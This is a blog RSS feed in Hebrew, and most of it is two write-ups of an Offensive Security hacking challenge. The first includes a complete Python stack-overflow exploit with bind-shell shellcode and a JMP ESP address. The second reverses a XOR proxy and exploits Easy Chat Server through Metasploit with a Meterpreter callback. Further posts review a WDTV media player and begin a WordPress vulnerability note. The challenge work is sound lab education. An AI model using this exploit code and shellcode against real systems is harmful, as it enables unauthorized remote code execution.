<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>&#8235;BinaryVision &#187; Fate&#8236;</title>	<atom:link href="http://www.binaryvision.org.il/?feed=rss2&#038;author=2" rel="self" type="application/rss+xml" />
	<link>http://www.binaryvision.org.il</link>
	<description>&#8235;בלוג טכנולוגי של קבוצת חברים&#8236;</description>	<lastBuildDate>Tue, 17 Aug 2010 16:39:35 +0000</lastBuildDate>
	<language>he</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>&#8235;אתגר Hacking של Offensive Security – שלב שני&#8236;</title>		<link>http://www.binaryvision.org.il/?p=623</link>
		<comments>http://www.binaryvision.org.il/?p=623#comments</comments>
		<pubDate>Tue, 06 Jul 2010 18:30:25 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[תכנות]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=623</guid>
		<description><![CDATA[&#8235;
מה היה לנו קיבלתי Root על 192.168.6.200 מצאתי עליו קובץ mosquito.exe <a href="http://rapidshare.com/files/405342575/mosquito.exe">http://rapidshare.com/files/405342575/mosquito.exe</a> מי שרוצה לנסות קצת בעצמו מוזמן להוריד את הקובץ אליו, ולהפסיק לקרוא כאן. mosquito בוא ננחש מה עושה הקובץ לפי הImports שלו. משתמש בסוקטים, וקצת Threads פה ושם, חוץ מזה כל מיני דברים מציקים כמו IsDebuggerPresent. אז אם נריץ אותו, והוא מאזין על [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><h2>מה היה לנו</h2>
<ul>
<li>קיבלתי Root על 192.168.6.200
</li>
<li>מצאתי עליו קובץ mosquito.exe
</li>
</ul>
<p><a href="http://rapidshare.com/files/405342575/mosquito.exe">http://rapidshare.com/files/405342575/mosquito.exe</a><br />
מי שרוצה לנסות קצת בעצמו מוזמן להוריד את הקובץ אליו, ולהפסיק לקרוא כאן.</p>
<h2>mosquito</h2>
<p>בוא ננחש מה עושה הקובץ לפי הImports שלו.<br />
<div id="attachment_624" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2010/07/imports.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2010/07/imports-150x150.png" alt="" title="mosquito_imports" width="150" height="150" class="size-thumbnail wp-image-624" /></a><p class="wp-caption-text">Mosquito Imports</p></div><br />
משתמש בסוקטים, וקצת Threads פה ושם, חוץ מזה כל מיני דברים מציקים כמו IsDebuggerPresent.<br />
אז אם נריץ אותו, והוא מאזין על פורט, נוכל בקלות לראות איזה.<br />
הרצתי אותו, קפץ הFirewall ואומר שהוא מנסה להאזין על 4597, אישרתי לו.<br />
טוב, ננסה להתחבר אליו עם Netcat ולראות אם הוא זורק לנו משהו למסך.</p>
<pre>
nc -nvv 127.0.0.1 4597
</pre>
<p>קופץ הFirewall, ואומר לי שהmosquito.exe מנסה ליצור חיבור ל127.0.0.1 לפורט 1080&#8230;. מאיפה זה בא??<br />
החלטתי שלפני שאני קופץ פנימה לתוך הקוד, אני מרים Netcat מאזין מקומי, על פורט 1080, ורואה מה הולך שם.</p>
<pre>
nc -nvvLp 1080
</pre>
<p>מריץ את הייתוש מחדש, מתחבר אליו, רואה שהוא מתחבר לnetcat השני, וכלום לא קורה&#8230;<br />
שולח קצת טקסט, לא קורה כלום&#8230;..<br />
טוב, בדיקה אחרונה לפני שצוללים לקוד, האם הוא פותח חיבור תמיד ל127.0.0.1? או שזה חיבור חזרה למי שניסה להתחבר אליו?<br />
נבדק בצורה פשוטה ע&quot;י מכונה שהיא לא מקומית, כתובת P) אחרת שמנסה להתחבר לMosquito, ואיזה יופי, הFirewall אומר שהוא עדיין מנסה להוציא חיבור ל127.0.0.1 למרות שהחיבור הגיע מכתובת אחרת.</p>
<h2>צוללים לקוד</h2>
<p>פותח IDA חזרה, מאתר את המקום שבו יש קריאה לrecv.<br />
מריץ Netcat מקומי מאזין על 1080.<br />
פותח ollydbg, מציב breakpoint על הRecv.<br />
פותח Netcat נוסף ומתחבר לmosquito שמריץ הollydbg.<br />
קופץ הBreakpoint, אני שולח איזה שטות בNetcat, ומתחיל לעקוב אחרי זה בקוד בollydbg שורה שורה.<br />
אני לא הולך לפרט את כל התהליך, אבל זה המסקנות שהגעתי אליהן אחרי כמה ריצות:</p>
<ul>
<li>כל חבילה שמתקבלת עוברת איזה &quot;הצפנה&quot; פשוטה&#8230; XOR עם הערך 4.
</li>
<li>נבדק האם האם הכתובת המקומית של השרת היא 192.168.6.141
</li>
<li>המידע נשלח לסוקט השני ששמחובר מקומית לפורט 1080
</li>
</ul>
<h2>אז מה עכשיו</h2>
<ul>
<li>חיפוש חולשות בקוד עצמו ובטיפול של הBuffer מהנקודה שהתקבל ועד שנשלח הלאה.
</li>
</ul>
<p>לא מצאתי חולשות רגילות של Buffer Overflow</p>
<ul>
<li>אולי זה לא אתגר ניצול חולשה, אלא צופן\Reverse? אולי צריך לשלוח מחרוזת מיוחדת כך שאחרי ההצפנה זה יהיה איזה מפתח.
</li>
</ul>
<p>נזכרתי בטקסט שהיה רשום באתר של Mosquito, עם התמונה, היה כתוב &quot;bRAin suck3r&quot;.<br />
בגלל איך שזה היה כתוב, חשבתי שזאת המחרוזת שמי שזה לא יהיה בפורט 1080 צריך לקבל.<br />
כתבתי סקריפט שמקסר עם 4 ושולח לכתובת שאני מבקש, הרצתי, ולא קיבלתי תשובה.</p>
<ul>
<li>רגעעעעע, הדבר הזה בכלל מחזיר תשובות מאותו שירות שרץ על 1080?
</li>
</ul>
<p>בבדיקה מקומית (שליחה בNetcat המאזין על 1080) מתקבל אותו זבל &quot;מוצפן&quot; בNetcat המתחבר.</p>
<ul>
<li>אז אם זה הצפנה דו כיוונית, אולי זה פרוקסי טיפש מול שירות רגיל כלשהו?
</li>
</ul>
<p>מה רץ בדרך כלל על 1080? HTTP&#8230;<br />
שיניתי את הסקריפט כך שישלח בקשת GET מקוסרת ב4, ויציג לי תשובה אם יש.<br />
קיבלתי הרבה הרבה זבל חזרה.<br />
הוספתי גם קיסור ב4 על התשובה, וקבילתי דף HTML.</p>
<ul>
<li>אז הדבר הזה הוא פרוקסי לשרת WEB
</li>
</ul>
<p>כדי שאני אוכל לגלוש אליו בחופשיות שיפרתי את הסקריפט שלי כך שיעביר מידע בשני הכיוונים, ויתמוך ביותר מחיבור אחד במקביל.<br />
הרצתי אותו, ועכשיו אני יכול לגלוש בדפדפן ל127.0.0.1 לפורט שאני אבחר, ולראות מה מסתתר שם בשירות שרץ על 1080.<br />
הסקריפט:</p>
<pre>
<pre class="brush: python">
#!/usr/bin/python
#
import socket
import sys
import thread

def tunnel_data(sock1,sock2):
	try:
		data = sock1.recv(0xffff)
		while data:
			ndata = &quot;&quot;
			for i in data:
				ndata += chr(ord(i) ^ 4)
			sock2.sendall(ndata)
			data = sock1.recv(0xffff)
		sock2.close()
	except Exception,e:
		print e
		sock1.close()
		sock2.close()

def main(ip,lport):
	global MSG
	lsock = socket.socket()
	lsock.bind((&quot;0.0.0.0&quot;,lport))
	lsock.listen(1)
	while True:
		cli = lsock.accept()[0]
		rsock = socket.socket()
		rsock.connect((ip,4597))
		thread.start_new_thread(tunnel_data,(cli,rsock))
		thread.start_new_thread(tunnel_data,(rsock,cli))

main(sys.argv[1],long(sys.argv[2]))
</pre>
</pre>
<h2>האתר</h2>
<p>נפתח חלון של איזה תוכנת צ'אט, שקוראים לה Easy Chat Server.<br />
בנוי בAJAX, ומעוצב בצורה שמאד מסכנת את הפיצה שאכלתי לא מזמן.<br />
<div id="attachment_627" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2010/07/chatroom2.jpg"><img src="http://www.binaryvision.org.il/wp-content/uploads/2010/07/chatroom2-150x150.jpg" alt="" title="easy_chat_server" width="150" height="150" class="size-thumbnail wp-image-627" /></a><p class="wp-caption-text">Easy Chat Server</p></div><br />
התחלתי לשחק איתו, לחפש SQL Injections, לחפש בעיות הרשאות, לנחש סיסמה של המנהל של הערוץ.<br />
שזה לא היה קשה, הסיסמה של המנהל admin הייתה admin, אבל זה לא נתן לי כלום.<br />
טוב, אולי זה שרת מוכר באינטרנט, אולי יש לו חולשות.<br />
איזה יופי שבדף תוצאות הראשון אני מוצא את הקישור הבא:<br />
<a href="http://www.metasploit.com/modules/exploit/windows/http/efs_easychatserver_username">http://www.metasploit.com/modules/exploit/windows/http/efs_easychatserver_username</a></p>
<h2>פריצה מעל פרוקסי מצפין</h2>
<p>הפעלתי Metasploit הגדרתי את הפרצה שתנסה לפרוץ לי את הפרוקסי המקומי, ותשתמש בMeterpreter שמתחבר חזרה אלי ישירות.<br />
הרצתי את הפרצה, ואחרי כמה ניסיונות כושלים, זה עבד!!<br />
קיבלתי Shell על השרת 192.168.6.141.<br />
בדיקה מהירה גילתה שאני משתמש חסר הרשאות, שאין לו גישה לDesktop של הAdministrator.<br />
וGetSystem של Meterpreter לא עזר.<br />
מערכת ההפעלה היא Windows 2003 SP2.</p>
<h2>נסיונות לעלות הרשאות</h2>
<p>ציינתי כבר שכל 30 דקות המכונות עוברות Revert?<br />
האם אמרתי עד כמה מעצבן זה כשאתה מנסה למצוא איך לעלות הרשאות במכונה שיש לך גישה אליה?<br />
הייתי צריך לפרוץ מחדש את המכונה כל פעם שאיבדתי גישה בגלל הRevert.<br />
אבל מספיק לבכות, כאן זה הזמן לאמר שלעלות הרשאות במכונה לא הצלחתי באותן 10 שעות שהיה לי לאתגר הזה.<br />
דברים שניסיתי:</p>
<ul>
<li>מציאת חולשות Privilege Escalation ידועות למערכת ההפעלה, לא הלך, המכונה כנראה Fully Patched
</li>
<li>מציאת Services שרצים כSystem לבדוק אם אפשר להחליף להם את הEXE ולעשות להפיל אחד מהם שיעלה מחדש, היה שם שרת VOIP שרץ כSystem ומאד קרץ לי, אבל שרף את רוב הזמן.
</li>
<li>חיפוש קבצים זרוקים במערכת שיש לי גישה &quot;בטעות&quot; אליהם ויש שם סיסמה או משהו שיעזור
</li>
</ul>
<p>אתם מוזמנים להציע עוד דרכים&#8230;<br />
אני לא אוכל להגיד אם זה היה עובד או לא, האתגר נסגר, אבל אני כן יכול לפרסם את הדרך שאחת הקבוצות האחרות מצאה, אחרי שתכתבו כמה רעיונות משלכם&#8230;.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=623</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>&#8235;אתגר Hacking של Offensive Security &#8211; שלב ראשון&#8236;</title>		<link>http://www.binaryvision.org.il/?p=587</link>
		<comments>http://www.binaryvision.org.il/?p=587#comments</comments>
		<pubDate>Sat, 26 Jun 2010 08:19:34 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[תכנות]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=587</guid>
		<description><![CDATA[&#8235;
קצת על האתגר האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות. המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם. ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN. ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים. מטרת האתגר: תוך 48 שעות, לפרוץ 5 מחשבים להשיג מהלינוקסים שבהם [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><h2>קצת על האתגר</h2>
<p>האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות.<br />
המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם.<br />
ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN.<br />
ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים.<br />
מטרת האתגר:</p>
<ul>
<li>תוך 48 שעות, לפרוץ 5 מחשבים
</li>
<li>להשיג מהלינוקסים שבהם את התוכן של proof.txt שיושב ב /root
</li>
<li>ומהוינדווסים להשיג את התוכן של proof.txt שיושב בDesktop של המנהל (Administrator)
</li>
<li>כל מחשב שווה 20 נקודות, הראשון שמגיע ל100 ניצח, הפרס היה כרטיסים לBlackhat.
</li>
<li>כל מכונה עוברת Revert כל 30 דקות כדי שאם מישהו הרס אותה לאחר, או לעצמו תהיה לו עוד הזדמנות.
</li>
</ul>
<p>קישור לאתר של האתגר, עם עוד קצת הסברים:<br />
<a href="http://www.information-security-training.com/events/let-the-games-begin-again">http://www.information-security-training.com/events/let-the-games-begin-again</a><br />
לי יצא לעבוד על זה בערך 10 שעות.</p>
<h2>סריקה ראשונית</h2>
<p>מרים בBacktrack 4 מחבר אותו לVPN ומקבל כתובת 172.16.6.90<br />
מריץ NMap על ה255 מחשבים שאיתי ברשת, ומוצא 5 שרתים.</p>
<ul>
<li>200 &#8211; פתוח פורט 80
</li>
<li>141 &#8211; פתוח פורט 80 וכמה פורטים של SIP
</li>
<li>115 &#8211; פתוח שרת SQL
</li>
<li>140 &#8211; פורט 80 פתוח וכמה שהם filtered
</li>
<li>150 &#8211; ענה לי פעם על פורט כלשהו ונעלם
</li>
</ul>
<h2>מעבר מהיר על המחשבים</h2>
<ul>
<li>141 &#8211; מציג אתר עם תמונה של יתוש אנושי כזה, עם הטקסט bRAin suck3r מתחת
</li>
<li>140 &#8211; מציג חתול שנראה כאילו מסתיר את הביצים שלו ומופתע וכתוב OMG!!! Knock First!!!
</li>
<li>115 &#8211; שרת SQL שאין לי משתמש אליו
</li>
<li>200 &#8211; מציג תיקייה עם 2 קבצים Vuln.c ו Vuln בינארי.
</li>
<li>150 &#8211; לא התעסקתי איתו
</li>
</ul>
<p>הכי מעניין והכי ברור מכל המחשבים האלה היה לדעתי 200, שהיה עליו קוד C ובינארי של משהו.</p>
<h2>Vuln</h2>
<p>בשרת 200 היו 2 קבצים, הנה הם להורדה, מי שרוצה לראות:<br />
<a href="http://rapidshare.com/files/402861125/vuln.rar.html">http://rapidshare.com/files/402861125/vuln.rar.html</a><br />
הקבצים היו בינארי של לינוקס, וקוד מקור שלו בC.<br />
מעבר על המקור מגלה את השורות הבאות:</p>
<pre>
<pre class="brush: c">
#define LISTENPORT 7500
...
//now fill in the fields we need
  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(LISTENPORT);
  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  //bind our socket to the port
  if (bind(sock,(struct sockaddr *)&amp;my_addr, ...)){
    perror(&quot;bind&quot;);
    exit(1);
  }

  //start listening for incoming connections
  if (listen(sock,BACKLOG) == -1) {
    perror(&quot;listen&quot;);
    exit(1);
  }
</pre>
</pre>
<p>הקוד מאזין על פורט 7500.<br />
מפעיל NMap שוב וסורק את המחשבים, מקבל 7500 פתוח על אותו המחשב שלקחתי ממנו את הקבצים (200).<br />
אז הבינארי הזה רץ על השרת הזה.<br />
בואו נראה אם יש חולשה בבינארי (גם השם שלו מרמז).<br />
שורות מעניינות:</p>
<pre>
<pre class="brush: c">
char reply[1024];
...
    recv(conn, reply, 1024, 0);
    handle_reply(reply);
...
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf(&quot;Your message is \&quot;%s\&quot;\n&quot;,response);
return 0;
}
</pre>
</pre>
<p>התוכנה מקבלת באפר בגודל 1024, מעבירה אותו לפונקצייה שמעתיקה אותו בצורה לא בטוחה לבאפר בגודל 256.<br />
Buffer Overflow קלאסי, על המחסנית, זה אומר שאפשר להריץ קוד.<br />
עוד קטע שקופץ לעיניים בקוד:</p>
<pre>
<pre class="brush: c">
int jmp(void){
 __asm__(&quot;jmp %esp&quot;);
 return 0;
}
</pre>
</pre>
<p>הם אפילו נתנו לי את המקפצה בתוך הקוד עצמו, אין צורך לחפש שנים משהו גנרי שקיים גם בלינוקס אחר וכל זה.</p>
<h2>ניצול חולשה</h2>
<p>שלב ראשון, אני מעביר לBacktrack שלי את הVuln, מריץ, מתקשר איתו בודק שהוא מגיב כמו שאמור להגיב.<br />
אחרי זה מריץ אותו מחדש עם gdb, ומכין סרקריפט Python שמפציץ אותו ב1000 תווים של A.<br />
מקבל כצפוי Segmentation Fault על ניסיון להריץ 0&#215;41414141 שזה &quot;AAAA&quot;.<br />
מסתכל על המיקום הנוכחי במחסנית, מסתכל אחרורה ורואה שהבאפר מתחיל 268 תווים אחורה.<br />
חוזר לסקריפט, מתקן את הבאפר ככה שישלח 268 אותיות A, ואחרי זה 0xDEADBEEF, ואחרי זה עוד איזה 30 אותיות B.<br />
מריץ מחדש את הקובץ עם gdb, מריץ סקריפט, ומרוצה מאד מהתוצאה, הוא קורס על ניסיון הרצה של 0xDEADBEEF.<br />
שלב הבא, איפה המקפצה שלנו, אנחנו צריכים jmp esp, כמה יפה מצידת שהם שמו את זה בקוד, זה אומר שרוב הסיכויים שהכתובת לא תזוז אם מריצים את הקובץ בלינוקס דומה.<br />
מסתכל על הקוד בIDA, ורואה שהכתובת של JMP ESP, היא: 0x0804866A<br />
מעדכן את הסקריפט, מוסיף במקום הB הראשון, את הקוד של int3 (מי שלא יודע זה 0xcc).<br />
מריץ מחדש את התוכנה הפגיעה עם הדבאגר מחובר, תוקף אותו עם הסקריפט, ומקבל SIGTRAP, כשהו מנסה להריץ את INT3.<br />
קיבלתי Code Execution.<br />
נכנס לmetasploit.com מוריד את הBind Shell הראשון שאני רואה, משלב אותו במקום ה0xCC.</p>
<pre>
<pre class="brush: python">
SHELLCODE = (&quot;\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd&quot;
&quot;\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89&quot;
&quot;\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd&quot;
&quot;\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49&quot;
&quot;\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3&quot;
&quot;\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;)
</pre>
</pre>
<p>מוסיף כמה שורות לפייטון כדי לאפשר החלפת פורט מאזין שיפתח שלא יהיה 4444, (\x11\x5c)<br />
עושה בדיקה מקומית על התוכנה שמריץ אצלי, הפירצה מצליחה, ופותחת פורט להאזנה, התחברות Netcat נותנת לי גישה.<br />
אז הנה הExploit שכתבתי כדי לפרוץ את התוכנה הזאת:</p>
<pre>
<pre class="brush: python">
#!/usr/bin/python
#
# exploit.py &lt;ip&gt; &lt;port&gt;
#
#

import socket
import sys
import time
import struct

JMP_ESP_ADDR = 0x0804866A

SHELLCODE = (&quot;\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd&quot;
&quot;\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89&quot;
&quot;\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd&quot;
&quot;\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49&quot;
&quot;\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3&quot;
&quot;\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;)

def main(ip,port):
	global SHELLCODE
	global JMP_ESP_ADDR
	so = socket.socket()
	so.connect((ip,7500))
	greet = so.recv(1024)
	SHELLCODE = SHELLCODE[:21]+struct.pack(&quot;!H&quot;,port)+SHELLCODE[23:]
	buff = &quot;A&quot; * 268 + struct.pack(&quot;L&quot;,JMP_ESP_ADDR) + SHELLCODE
	so.sendall(buff)
	time.sleep(5)
	so.close()

main(sys.argv[1],long(sys.argv[2]))
</pre>
</pre>
<p>מריץ את האקספלויט על השרת 6.200, ואחרי זה מתחבר לפורט שנפתח עם Netcat.</p>
<h2>מה יש בשרת</h2>
<p>נראה כאילו התחברתי כRoot, אין צורך לעלות הרשאות! <img src='http://www.binaryvision.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
נכנס לתיקיית הבית של root, מוצא שם את proof.txt, מציג את התוכן שלו, מעתיק את הHash.<br />
רואה עוד קובץ מעניין, mosquito.exe, מוריד אותו בעזרת Netcat.<br />
הולך לאתר של האתגר, מכניס את הHash, זוכה ב20 נקודות!</p>
<h2>בפוסט הבא</h2>
<p>מה זה mosquito.exe?<br />
האם הוא נותן רמז לשרת עם הזבוב בתמונה?<br />
ולמה כלכך מעט אנשים הצליחו 2 מחשבים כלכך מאוחר לתוך האתגר??</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=587</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>&#8235;WDTV HD Media Player&#8236;</title>		<link>http://www.binaryvision.org.il/?p=456</link>
		<comments>http://www.binaryvision.org.il/?p=456#comments</comments>
		<pubDate>Fri, 18 Sep 2009 17:20:44 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Firmware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[WDTV]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[חומרה]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=456</guid>
		<description><![CDATA[&#8235;
מבוא לאחרונה אולי שמתם לב, אולי לא, אני נמשך יותר לחומרה והאקינג שלה. בין אם זה OpenMoko, או הנתב של Edimax, או במקרה הזה נגן המדיה של Western Digital. כן כן, של Western Digital, יצרנית כוננים קשיחים&#8230; לאחרונה ניתקלתי בצורך לנגן וידאו HD, בצורה הכי זולה שיש, בלי להזיז כל פעם את המחשב הנייד אם [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><h2>מבוא</h2>
<div id="attachment_460" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/09/wdtv_mypassport.jpg"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/09/wdtv_mypassport-150x150.jpg" alt="WDTV ליד כונן 2.5 אינצ&#039;" title="WDTV_Near2.5HDD" width="150" height="150" class="size-thumbnail wp-image-460" /></a><p class="wp-caption-text">WDTV ליד כונן 2.5 אינצ'</p></div>
<p>לאחרונה אולי שמתם לב, אולי לא, אני נמשך יותר לחומרה והאקינג שלה.<br />
בין אם זה OpenMoko, או הנתב של Edimax, או במקרה הזה נגן המדיה של Western Digital.<br />
כן כן, של Western Digital, יצרנית כוננים קשיחים&#8230;</p>
<p>לאחרונה ניתקלתי בצורך לנגן וידאו HD, בצורה הכי זולה שיש, בלי להזיז כל פעם את המחשב הנייד אם אני רוצה לראות סרט במסך גדול.<br />
בפוסט זה אני אציג כמה אפשרויות ששקלתי, ולמה ביטלתי כל אחת מהן, למה בחרתי בסוף בנגן של WD, כמה שהדבר הקטן הזה מגניב ,מה אפשר לעשות איתו (מעבר למה שWD תכננו כמובן).</p>
<h2>אפשרויות חומרה</h2>
<ul>
<li>מחשב HTPC שאני מרכיב בעצמי
</li>
</ul>
<p>אפשר להרכיב מחשב במארז קטן שנראה כמו מארז של מכשיר Media Center כזה, ולהרכיב אותו ככה שיוכל לנגן HD.<br />
מבדיקה שאני עשיתי מחשב כזה עולה בסביבות ה1600-2000 שקל מינימום, והוא עם מאווררים על המארז, ולא בטוח עד כמה הוא מסוגל לנגן HD מלא באמת.</p>
<ul>
<li>XBox 360
</li>
</ul>
<p>מסוגל לנגן HD, תומך בהרבה פורמטים, יש לו ממשק מוכן למדיה סנטר, עולה גם אותו דבר כמו המחשב.. בערך 1600 שקל.<br />
וגם מקבלים את הערך המוסף של משחקים על הטלוויזיה.<br />
החסרון הוא כל הנעילות שמיקרוסופט עשו לו, ולך תדע מתי הם יחסמו אותך אם תשתמש במשחקים פרוצים.</p>
<ul>
<li>PS3
</li>
</ul>
<p>כמו XBox עולה קצת יותר (1800 ש&quot;ח), וכרגע לא נראה לי שיש פריצה בשביל המשחקים שלו, אז משחקים מקוריים עולים הרבה.<br />
לפי מה שקראתי הדבר הזה מפלצתי ומתחממם מהר, אבל מה, יש לו כונן Blu Ray, זה טוב לסרטים.</p>
<ul>
<li>WDTV HD Media Player
</li>
</ul>
<p>כשראיתי את הדבר הזה לא האמנתי שהוא מנגן HD, אבל מסתבר שהוא כן.<br />
הוא ממש קטן, ללא מאוורר, מעוצב בצורה טובה, וממלא את המטרה היחידה שלו בחיים, לנגן HD מתוך USB Mass Storage Device.<br />
הדבר הזה פותח עולמות חדשים, עולם של להביא את הנגן שלך לחברים שלך יחד עם סרטים.<br />
אתה לא תסחב עם מחשב או XBox או PS3, אבל את הדבר הזה יותר פשוט לקחת מכונן קשיח חיצוני 3.5 אינצ', הוא יותר קטן ממנו.</p>
<h2>למה WDTV</h2>
<p><div id="attachment_459" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/09/wdtv.jpg"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/09/wdtv-150x150.jpg" alt="WDTV" title="WDTV" width="150" height="150" class="size-thumbnail wp-image-459" /></a><p class="wp-caption-text">WDTV</p></div><br />
הוא זול, 650 ש&quot;ח ויש לך את הדבר הזה מוכן ומזומן להריץ לשדר דברים מעל HDMI.<br />
יש לו יציאת Composite למקרה ולמישהו אין HDMI.<br />
יש לו יציאה אופטית לAudio, מה שפותח את האפשרויות של קולנוע ביתי.<br />
הוא מריץ לינוקס, על מעבד שעובד על MIPS.</p>
<h2>עולם האפשרויות</h2>
<p>הפעם אני לא הראשון שעושה לזה האקינג, וכל העולם כבר כותב לזה Modים וFirmware משודרג.<br />
אפשר למצוא הרבה מאד דברים כאן: <a href="http://www.wdtvforum.com">http://www.wdtvforum.com</a><br />
עכשיו שאמרנו שזה מריץ לינוקס בואו נעבור על כמה רעיונות שאפשר לעשות איתו.</p>
<ul>
<li>לחבר כרטיס רשת לUSB
</li>
</ul>
<p>ניגון מכונן רישתי, סטרימינג מהמחשב, הורדת דברים ישירות אליו, Youtube, Trailers, Bittorrent, וכו'</p>
<ul>
<li>לחבר כרטיס רשת אלחוטי
</li>
</ul>
<p>אומנם יותר בעייתי לעשות סטרימינג מעל אלחוטי, אבל לשלוט עליו ולהעביר אליו דברים מהמחשב בצורה פסיבית, זה מצויין.</p>
<ul>
<li>לחבר USB Hub
</li>
</ul>
<p>ואז 2 הפורטים המסכנים יהפכו להרבה יותר, והרבה יותר מקום לחבר אליו אחסון.</p>
<ul>
<li>מקלדת עכבר וDebian
</li>
</ul>
<p>מי שלא יודע יש Debian על כל חבילותיו לMIPSEL, אז אפשר כנראה להתקין את זה עליו ופשוט יש לך מחשב חזק עם לינוקס שמסוגל לנגן HD.<br />
תחבר אליו מקלדת אלחוטית, עכבר אלחוטי, ויש לך מחשב סלוני עם מסך ענק. <img src='http://www.binaryvision.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h2>לסיום</h2>
<p>בערך חצי מהסיבה שבחרתי במכשיר זה בגלל שהוא מריץ לינוקס, ויהיה כיף להתעסק איתו אחרי זה, לראות את הקהילה שלו מפתחת לו דברים, ואולי לתת יד בעצמי ולהוסיף דברים מעניינים למכשיר.<br />
מקווה שלא שיעממתי אותכם יותר מדי,<br />
תגיבו אם יש משהו מעניין שתרצו להגיד.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=456</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>&#8235;פרצה חדשה בWordPress&#8236;</title>		<link>http://www.binaryvision.org.il/?p=395</link>
		<comments>http://www.binaryvision.org.il/?p=395#comments</comments>
		<pubDate>Tue, 11 Aug 2009 18:39:26 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[באגים]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=395</guid>
		<description><![CDATA[&#8235;
היום פורסמה בMilw0rm פרצה חדשה לWordpress בגרסאתה הנוכחית (2.8.3) . נכון לרגע כתיבת פוסט זה, אין עדיין תיקון רישמי. (ראה עדכון) אבל בינתיים החלטנו לתקן את הבעיה בעצמנו, זה לא מסובך מדי. הנה הפרטים של הפרצה: <a href="http://milw0rm.org/exploits/9410">http://milw0rm.org/exploits/9410</a> הלוגיקה מאחורי זה: אם שכחת סיסמה לחשבון, אתה לוחץ על כפתור שכחתי סיסמה המערכת שולחת לדואר האלקטרוני שרשום [...]
